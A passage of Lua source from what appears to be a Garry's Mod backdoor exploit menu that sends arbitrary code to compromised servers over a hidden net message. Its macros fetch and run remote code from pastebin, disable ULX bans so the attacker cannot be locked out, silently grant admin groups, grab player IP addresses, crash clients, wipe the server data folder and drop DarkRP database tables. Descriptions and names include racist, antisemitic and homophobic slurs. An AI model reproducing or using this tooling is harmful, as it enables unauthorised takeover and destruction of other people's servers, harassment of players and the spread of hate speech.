9991 timer.Create( "cwar", 1, 0, function()
9992
9993 for _, p in pairs(player.GetAll()) do
9994
9995 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
9996
9997 end
9998
9999 end)
10000
10001 else
10002
10003 timer.Remove( "cwar" )
10004
10005 end]],
10006 ["Desc"] = "For when you need more dakka"
10007 },
10008 ["Earthquake"] = {
10009 ["Type"] = 1,
10010 ["Code"] = [[
10011
10012 if !timer.Exists( "earthquake" ) then
10013
10014 timer.Create( "earthquake", 0.5, 500, function()
10015
10016 for _, p in pairs(player.GetAll()) do
10017
10018 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
10019
10020 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
10021
10022 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
10023
10024 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
10025
10026 end
10027
10028
10029
10030 for _, e in pairs(ents.GetAll()) do
10031
10032 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
10033
10034 end
10035
10036
10037
10038
10039
10040 end)
10041
10042 else
10043
10044 timer.Remove( "earthquake" )
10045
10046 end]],
10047 ["Desc"] = "For when you need more dakka"
10048 },
10049 ["Explode all vehicles"] = {
10050 ["Type"] = 1,
10051 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
10052
10053 local explo = ents.Create("env_explosion")
10054
10055 explo:SetPos(v:GetPos())
10056
10057 explo:SetKeyValue("iMagnitude", "300")
10058
10059 explo:Spawn()
10060
10061 explo:Activate()
10062
10063 explo:Fire("Explode", "", 0)
10064
10065 end
10066
10067 end]],
10068 ["Desc"] = ""
10069 },
10070 ["RCON command"] = {
10071 ["Type"] = 1,
10072 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
10073 ["Desc"] = "Like having rcon access without actually having rcon access"
10074 },
10075 ["Lua run"] = {
10076 ["Type"] = 1,
10077 ["Code"] = [[@1]],
10078 ["Desc"] = "For running your dank luas"
10079 },
10080 ["Lua run from pastebin"] = {
10081 ["Type"] = 1,
10082 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
10083 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
10084 },
10085 ["Destroy ULX Ban/Kick"] = {
10086 ["Type"] = 1,
10087 ["Code"] = [[ULib.Ban = function() return false end
10088
10089 ULib.addBan = function() return end
10090
10091 ULib.kick = function() return end]],
10092 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
10093 },
10094 ------------------------ player targeted macros ------------------------
10095 ["Kill player"] = {
10096 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
10097 ["Code"] = [[v:Kill()]],
10098 ["Desc"] = ""
10099 },
10100 ["Fumble player"] = {
10101 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
10102 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
10103 ["Desc"] = "Knocks their current weapon out of their hand"
10104 },
10105 ["Strip weapons"] = {
10106 ["Type"] = 2,
10107 ["Code"] = [[v:StripWeapons()]],
10108 ["Desc"] = ""
10109 },
10110 ["Rocket"] = {
10111 ["Type"] = 2,
10112 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
10113 ["Desc"] = "Sends them flying up into the air"
10114 },
10115 ["Rocket (Spastic)"] = {
10116 ["Type"] = 2,
10117 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
10118 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
10119 },
10120 ["Change model"] = {
10121 ["Type"] = 2,
10122 ["Code"] = [[v:SetModel( @1 )]],
10123 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
10124 ["NeedsParameters"] = 1
10125 },
10126 ["Set health + armor"] = {
10127 ["Type"] = 2,
10128 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
10129 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
10130 ["NeedsParameters"] = 2
10131 },
10132 ["Ear rape"] = {
10133 ["Type"] = 2,
10134 ["Code"] = [[
10135
10136 local snd = {
10137
10138 [1] = "npc/stalker/go_alert2a.wav",
10139
10140 [2] = "vo/npc/male01/question06.wav",
10141
10142 [3] = "ambient/energy/zap1.wav",
10143
10144 [4] = "weapons/knife/knife_stBD.wav",
10145
10146 [5] = "vo/ravenholm/madlaugh04.wav",
10147
10148 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
10149
10150 [7] = "vo/breencast/br_collaboration01.wav,"
10151
10152 }
10153
10154 v:EmitSound( snd[tonumber(@1)], 100, 100 )
10155
10156 ]],
10157 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
10158 ["NeedsParameters"] = 1
10159 },
10160 ["Ear rape (from internet)"] = {
10161 ["Type"] = 2,
10162 ["Code"] = [[
10163
10164 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
10165
10166 ]],
10167 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
10168 ["NeedsParameters"] = 1
10169 },
10170 ["Eye rape (from internet)"] = {
10171 ["Type"] = 2,
10172 ["Code"] = [[
10173
10174 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
10175
10176 ]],
10177 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
10178 ["NeedsParameters"] = 1
10179 },
10180 ["Rave Mode"] = {
10181 ["Type"] = 2,
10182 ["Code"] = [[
10183
10184 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
10185
10186 ]],
10187 ["Desc"] = "Make them loosen up and join the party"
10188 },
10189 ["Rave Music"] = {
10190 ["Type"] = 2,
10191 ["Code"] = [[
10192
10193 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
10194
10195 ]],
10196 ["Desc"] = "DOOF DOOF NIGGA"
10197 },
10198 ["Whisper"] = {
10199 ["Type"] = 2,
10200 ["Code"] = [[v:ChatPrint( @1 )]],
10201 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
10202 ["NeedsParameters"] = 1
10203 },
10204 ["Whisper (advanced)"] = {
10205 ["Type"] = 2,
10206 ["Code"] = [[
10207
10208 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
10209
10210 ]],
10211 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
10212 ["NeedsParameters"] = 1
10213 },
10214 ["Ignite player"] = {
10215 ["Type"] = 2,
10216 ["Code"] = [[v:Ignite( 30 )]],
10217 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
10218 },
10219 ["Toggle godmode"] = {
10220 ["Type"] = 2,
10221 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
10222 ["Desc"] = ""
10223 },
10224 ["Crash their gmod"] = {
10225 ["Type"] = 2,
10226 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
10227 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
10228 },
10229 ["Toggle serverside speedhack"] = {
10230 ["Type"] = 2,
10231 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
10232 ["Desc"] = "GOTTA GO FAST"
10233 },
10234 ["Freeze/Unfreeze player"] = {
10235 ["Type"] = 2,
10236 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
10237 ["Desc"] = ""
10238 },
10239 ["Force say"] = {
10240 ["Type"] = 2,
10241 ["Code"] = [[v:Say(@1)]],
10242 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
10243 ["NeedsParameters"] = 1
10244 },
10245 ["Force concommand"] = {
10246 ["Type"] = 2,
10247 ["Code"] = [[v:ConCommand(@1)]],
10248 ["Desc"] = "Forces them to run the specified console command (first parameter)",
10249 ["NeedsParameters"] = 1
10250 },
10251 ["Grab IP"] = {
10252 ["Type"] = 2,
10253 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
10254 ["Desc"] = "Prints their IP Address to your console"
10255 },
10256 ["DarkRP add/remove money"] = {
10257 ["Type"] = 2,
10258 ["Code"] = [[v:addMoney(@1)]],
10259 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
10260 ["NeedsParameters"] = 1
10261 },
10262 ["DarkRP force job"] = {
10263 ["Type"] = 2,
10264 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
10265 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
10266 ["NeedsParameters"] = 1
10267 },
10268 ["Force team switch"] = {
10269 ["Type"] = 2,
10270 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
10271 ["Desc"] = "Change their team to the specified team name (1st parameter)",
10272 ["NeedsParameters"] = 1
10273 },
10274 ["Noclip player"] = {
10275 ["Type"] = 2,
10276 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
10277 ["Desc"] = "Toggles noclip on the specified players"
10278 },
10279 ["Give weapon to player"] = {
10280 ["Type"] = 2,
10281 ["Code"] = [[v:Give( @1 )]],
10282 ["Desc"] = "Gives this player a weapon (first parameter)",
10283 ["NeedsParameters"] = 1
10284 },
10285 ["Give ammo to player"] = {
10286 ["Type"] = 2,
10287 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
10288 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
10289 ["NeedsParameters"] = 2
10290 },
10291 ["Teleport (them to your cursor)"] = {
10292 ["Type"] = 2,
10293 ["Code"] = [[
10294
10295 local tp = false
10296
10297 local tpos
10298
10299 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
10300
10301 if tp then v:SetPos( tpos ) end
10302
10303 ]],
10304 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
10305 },
10306 ["Teleport (you to them)"] = {
10307 ["Type"] = 2,
10308 ["Code"] = [[
10309
10310 local tp = false
10311
10312 local tpos = v:GetPos() + Vector( 32, 0, 10)
10313
10314 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
10315
10316 ]],
10317 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
10318 },
10319 ["Teleport (blink)"] = {
10320 ["Type"] = 2,
10321 ["Code"] = [[
10322
10323 local tpos = v:GetEyeTraceNoCursor().HitPos
10324
10325 v:SetPos( tpos )
10326
10327 ]],
10328 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
10329 },
10330 ["Spawn entity near player"] = {
10331 ["Type"] = 2,
10332 ["Code"] = [[
10333
10334 local tr = {}
10335
10336 tr.start = v:GetShootPos()
10337
10338 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10339
10340 tr.filter = {v}
10341
10342 local trace = util.TraceLine(tr)
10343
10344 local dix = ents.Create( @1 )
10345
10346 dix:SetPos(trace.HitPos)
10347
10348 dix:SetAngles(Angle(0,0,0))
10349
10350 dix:Spawn()
10351
10352 ]],
10353 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
10354 ["NeedsParameters"] = 1
10355 },
10356 ["Spawn prop near player"] = {
10357 ["Type"] = 2,
10358 ["Code"] = [[
10359
10360 local tr = {}
10361
10362 tr.start = v:GetShootPos()
10363
10364 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10365
10366 tr.filter = {v}
10367
10368 local trace = util.TraceLine(tr)
10369
10370 local dix = ents.Create( "prop_physics" )
10371
10372 dix:SetPos(trace.HitPos)
10373
10374 dix:SetAngles(Angle(0,0,0))
10375
10376 dix:SetModel( @1 )
10377
10378 dix:Spawn()
10379
10380 ]],
10381 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
10382 ["NeedsParameters"] = 1
10383 },
10384 ["Spawn evil npc near player"] = {
10385 ["Type"] = 2,
10386 ["Code"] = [[
10387
10388 local tr = {}
10389
10390 tr.start = v:GetShootPos()
10391
10392 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10393
10394 tr.filter = {v}
10395
10396 local trace = util.TraceLine(tr)
10397
10398 local dix = ents.Create( "npc_citizen" )
10399
10400 dix:SetPos(trace.HitPos)
10401
10402 dix:SetAngles(Angle(0,0,0))
10403
10404 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
10405
10406 dix:SetKeyValue( "citizentype", 3 )
10407
10408 dix:AddRelationship("player D_HT 200")
10409
10410 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
10411
10412 dix:SetSchedule( SCHED_IDLE_WANDER )
10413
10414 dix:Spawn()
10415
10416 ]],
10417 ["Desc"] = "Spawn a hostile NPC in front of this player"
10418 },
10419 ["Death ray"] = {
10420 ["Type"] = 2,
10421 ["Code"] = [[
10422
10423 local trace = v:GetEyeTraceNoCursor()
10424
10425 if trace.Entity:IsValid() then trace.Entity:Remove() end
10426
10427 ]],
10428 ["Desc"] = "Vaporize whatever this player is looking at"
10429 },
10430 ["Death ray (explosive)"] = {
10431 ["Type"] = 2,
10432 ["Code"] = [[
10433
10434 local trace = v:GetEyeTraceNoCursor()
10435
10436 local explo = ents.Create("env_explosion")
10437
10438 explo:SetPos(trace.HitPos)
10439
10440 explo:SetKeyValue("iMagnitude", "250")
10441
10442 explo:Spawn()
10443
10444 explo:Activate()
10445
10446 explo:Fire("Explode", "", 0)
10447
10448 ]],
10449 ["Desc"] = "Blow up whatever this player is looking at"
10450 },
10451 ["Precise Artillery Strike"] = {
10452 ["Type"] = 2,
10453 ["Code"] = [[
10454
10455 local trace = v:GetEyeTraceNoCursor()
10456
10457 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
10458
10459 local explo = ents.Create("env_explosion")
10460
10461 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
10462
10463 explo:SetKeyValue("iMagnitude", "250")
10464
10465 explo:Spawn()
10466
10467 explo:Activate()
10468
10469 explo:Fire("Explode", "", 0)
10470
10471 end)
10472
10473 ]],
10474 ["Desc"] = "Blow up whatever this player is looking at"
10475 },
10476 ["Woman Driver"] = {
10477 ["Type"] = 2,
10478 ["Code"] = [[
10479
10480 local trace = v:GetEyeTraceNoCursor()
10481
10482 local car = ents.Create("prop_physics")
10483
10484 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
10485
10486 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
10487
10488 car:SetAngles( v:GetAngles() )
10489
10490 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
10491
10492 car:Spawn()
10493
10494 car:Activate()
10495
10496 car.boom = 6
10497
10498 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
10499
10500 car:Ignite( 500 )
10501
10502 car:AddCallback( "PhysicsCollide", function( car, dat )
10503
10504 local explo = ents.Create("env_explosion")
10505
10506 explo:SetPos( car:GetPos() )
10507
10508 explo:SetKeyValue("iMagnitude", "350")
10509
10510 explo:Spawn()
10511
10512 explo:Activate()
10513
10514 explo:Fire("Explode", "", 0)
10515
10516 local ef = EffectData()
10517
10518 ef:SetOrigin( car:GetPos() )
10519
10520 ef:SetMagnitude( 5 )
10521
10522 ef:SetScale( 200 )
10523
10524 util.Effect( "ThumperDust", ef )
10525
10526 car.boom = car.boom - 1
10527
10528 if car.boom < 0 then car:Remove() end
10529
10530 end )
10531
10532 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
10533
10534 ]],
10535 ["Desc"] = "Make exploding vehicles rain from the sky"
10536 },
10537 ["Poison Gas"] = {
10538 ["Type"] = 2,
10539 ["Code"] = [[
10540
10541 local trace = v:GetEyeTraceNoCursor()
10542
10543 local ar2Explo = ents.Create("env_ar2explosion")
10544
10545 ar2Explo:SetOwner(game.GetWorld())
10546
10547 local p = trace.HitPos
10548
10549 ar2Explo:SetPos(trace.HitPos)
10550
10551 ar2Explo:Spawn()
10552
10553 ar2Explo:Activate()
10554
10555 ar2Explo:Fire("Explode", "", 0)
10556
10557 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
10558
10559 for _, ent in pairs(ents.FindInSphere( p, 500)) do
10560
10561 if !ent:IsPlayer() then continue end
10562
10563 local d = DamageInfo()
10564
10565 d:SetDamage( 1 )
10566
10567 d:SetAttacker( game.GetWorld() )
10568
10569 d:SetInflictor( game.GetWorld() )
10570
10571 d:SetDamageType( DMG_DROWN )
10572
10573 ent:TakeDamageInfo( d )
10574
10575 end
10576
10577 end)
10578
10579
10580
10581 ]],
10582 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
10583 },
10584 ["Spawn vehicle near player"] = {
10585 ["Type"] = 2,
10586 ["Code"] = [[
10587
10588 local trc = {}
10589
10590 trc.start = v:GetShootPos()
10591
10592 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10593
10594 trc.filter = {v}
10595
10596 local tr = util.TraceLine(trc)
10597
10598
10599
10600 local VehicleList = list.Get( "Vehicles" )
10601
10602 local vehicle = VehicleList[ @1 ]
10603
10604 if ( !vehicle ) then return end
10605
10606 local Angles = v:GetAngles()
10607
10608 Angles.pitch = 0
10609
10610 Angles.roll = 0
10611
10612 Angles.yaw = Angles.yaw + 180
10613
10614
10615
10616 local pos = tr.HitPos
10617
10618 if ( vehicle.Offset ) then
10619
10620 pos = pos + tr.HitNormal * vehicle.Offset
10621
10622 end
10623
10624 local Ent = ents.Create( vehicle.Class )
10625
10626 if ( !Ent ) then return end
10627
10628 duplicator.DoGeneric( Ent, vehicle )
10629
10630 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
10631
10632 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
10633
10634 if ( vehicle && vehicle.KeyValues ) then
10635
10636 for k, v in pairs( vehicle.KeyValues ) do
10637
10638 Ent:SetKeyValue( k, v )
10639
10640 end
10641
10642 end
10643
10644 Ent:SetModel( vehicle.Model )
10645
10646 Ent:SetAngles( Angles )
10647
10648 Ent:SetPos( pos )
10649
10650 Ent:Spawn()
10651
10652 Ent:Activate()
10653
10654 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
10655
10656 Ent.VehicleName = vehicle.Class
10657
10658 Ent.VehicleTable = @1
10659
10660 Ent.ClassOverride = vehicle.Class
10661
10662 ]],
10663 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
10664 ["NeedsParameters"] = 1
10665 },
10666 ["Kick player"] = {
10667 ["Type"] = 2,
10668 ["Code"] = [[ v:Kick( @1 ) ]],
10669 ["Desc"] = "First parameter = reason for kick"
10670 },
10671 ["Niggerize player"] = {
10672 ["Type"] = 2,
10673 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
10674 ["Desc"] = "Turns them black as night"
10675 },
10676 ["Cloak player"] = {
10677 ["Type"] = 2,
10678 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
10679 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
10680 },
10681 ["Allahu Ackbar"] = {
10682 ["Type"] = 2,
10683 ["Code"] = [[
10684
10685 local explo = ents.Create("env_explosion")
10686
10687 explo:SetOwner(v)
10688
10689 explo:SetPos(v:GetPos())
10690
10691 explo:SetKeyValue("iMagnitude", "250")
10692
10693 explo:Spawn()
10694
10695 explo:Activate()
10696
10697 explo:Fire("Explode", "", 0)
10698
10699 if v:Alive() then v:Kill() end
10700
10701 ]],
10702 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
10703 },
10704 ["ULX set access"] = {
10705 ["Type"] = 2,
10706 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
10707 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
10708 ["NeedsParameters"] = 1
10709 },
10710 ------------------------ dangerous codens ------------------------
10711 ["DarkRP clear all money"] = {
10712 ["Type"] = 3,
10713 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
10714 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
10715 },
10716 ["Cleanup map"] = {
10717 ["Type"] = 3,
10718 ["Code"] = [[game.CleanUpMap()]],
10719 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
10720 },
10721 ["Vaporize all players"] = {
10722 ["Type"] = 3,
10723 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
10724 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
10725 },
10726 ["FPP Unrestrict everything"] = {
10727 ["Type"] = 3,
10728 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
10729 ["Desc"] = ""
10730 },
10731 ["Wipe data folder"] = {
10732 ["Type"] = 3,
10733 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
10734 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
10735 },
10736 ["Wipe DarkRP SQL Tables"] = {
10737 ["Type"] = 3,
10738 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
10739 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
10740 }
10741}
10742
10743local selectedbackdoor = ""
10744local backdoorargs = ""
10745local selectedplayers = {}
10746
10747function BD.GenerateBackdoorList(parent, category)
10748 for k, v in SortedPairs(BD.BDMacros, false) do
10749 if v["Type"] ~= category then continue end
10750 local plypanel2 = vgui.Create("DPanel")
10751 plypanel2:SetPos(0, 0)
10752 plypanel2:SetSize(200, 25)
10753
10754 -- Paint function
10755 plypanel2.Paint = function()
10756 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
10757
10758 if selectedbackdoor == k then
10759 surface.SetDrawColor(Color(70, 130, 180, 255))
10760 else
10761 surface.SetDrawColor(Color(0, 0, 0, 255))
10762 end
10763
10764 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
10765 end
10766
10767 local plyname = vgui.Create("DLabel", plypanel2)
10768 plyname:SetPos(10, 5)
10769 plyname:SetFont("Trebuchet18")
10770 local tcol = Color(255, 255, 255)
10771
10772 if v.Private then
10773 tcol = Color(155, 255, 155)
10774 end
10775
10776 plyname:SetColor(tcol)
10777 plyname:SetText(k)
10778 plyname:SetSize(180, 15)
10779 local faggot = vgui.Create("DButton", plypanel2)
10780 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
10781 faggot:SetPos(0, 0)
10782 faggot:SetText("")
10783
10784 if v["Desc"] ~= "" then
10785 faggot:SetToolTip(v["Desc"])
10786 end
10787
10788 faggot.Paint = function(panel, w, h) return end
10789
10790 faggot.DoClick = function()
10791 selectedbackdoor = k
10792 end
10793
10794 parent:AddItem(plypanel2)
10795 end
10796end
10797
10798function BD.FormatCodeTargeted()
10799 if selectedbackdoor == "" then
10800 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
10801
10802 return
10803 end
10804
10805 local param = string.Explode(",", backdoorargs)
10806 local ids = {}
10807
10808 for k, v in pairs(selectedplayers) do
10809 if not v:IsValid() then
10810 table.RemoveByValue(selectedplayers, v)
10811 continue
10812 end
10813
10814 table.insert(ids, v:UniqueID())
10815 end
10816
10817 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
10818 code = string.Replace(code, "##", table.ToString(ids))
10819 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
10820 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
10821
10822 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
10823 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
10824
10825 return
10826 end
10827
10828 if #param < 1 then
10829 param = {
10830 [1] = "derp",
10831 [2] = "derp",
10832 [3] = "derp",
10833 [4] = "derp",
10834 [5] = "derp"
10835 }
10836 end
10837
10838 for k, v in pairs(param) do
10839 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
10840 end
10841
10842 BD.Fire(code)
10843end
10844
10845function BD.FormatCodeGlobal()
10846 if selectedbackdoor == "" then
10847 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
10848
10849 return
10850 end
10851
10852 local param = string.Explode(",", backdoorargs)
10853 local code = BD.BDMacros[selectedbackdoor]["Code"]
10854
10855 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
10856 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
10857
10858 return
10859 end
10860
10861 if #param < 1 then
10862 param = {
10863 [1] = "derp",
10864 [2] = "derp",
10865 [3] = "derp",
10866 [4] = "derp",
10867 [5] = "derp"
10868 }
10869 end
10870
10871 for k, v in pairs(param) do
10872 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
10873 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
10874 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
10875
10876 for k, v in pairs(BackDoor_net) do
10877 code = string.Replace(code, "%BD", v.NetWork)
10878 end
10879 end
10880
10881 BD.Fire(code)
10882end
10883
10884local safenet = net
10885
10886local function bdnet()
10887 if R8 and R8.G then return R8.G.net end
10888
10889 return safenet
10890end
10891
10892function BD.Fire(code)
10893 local cbd = BD.CurrentBackdoor
10894 local key = BD.BackdoorTypes[cbd].Netkey
10895 bdnet().Start(key)
10896 bdnet().WriteString(code)
10897 bdnet().SendToServer()
10898end
10899
10900surface.CreateFont("exitmenu", {
10901 font = "Arial",
10902 size = 20,
10903 weight = 1000,
10904 shadow = false,
10905 outline = false
10906})
10907
10908local function exitmenu(panel, X, y)
10909 local CButton = vgui.Create("DButton", panel)
10910 CButton:SetTextColor(Color(150, 150, 150))
10911 CButton:SetText("X")
10912 CButton:SetFont("exitmenu")
10913 CButton:SetPos(X, y)
10914 CButton:SetSize(50, 24)
10915
10916 CButton.DoClick = function()
10917 panel:SizeTo(0, 0, .2, 0, .2)
10918
10919 timer.Simple(0.3, function()
10920 panel:SetVisible(false)
10921 end)
10922 end
10923
10924 CButton.Paint = function(panel, w, h)
10925 surface.SetDrawColor(Color(0, 0, 0, 255))
10926 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
10927 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
10928 end
10929
10930 CButton.OnCursorEntered = function(self)
10931 surface.PlaySound("garrysmod/ui_hover.wav")
10932
10933 CButton.Paint = function(panel, w, h)
10934 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
10935 end
10936 end
10937
10938 -------------------------------------------------------------
10939 CButton.OnCursorExited = function(self)
10940 CButton.Paint = function(panel, w, h)
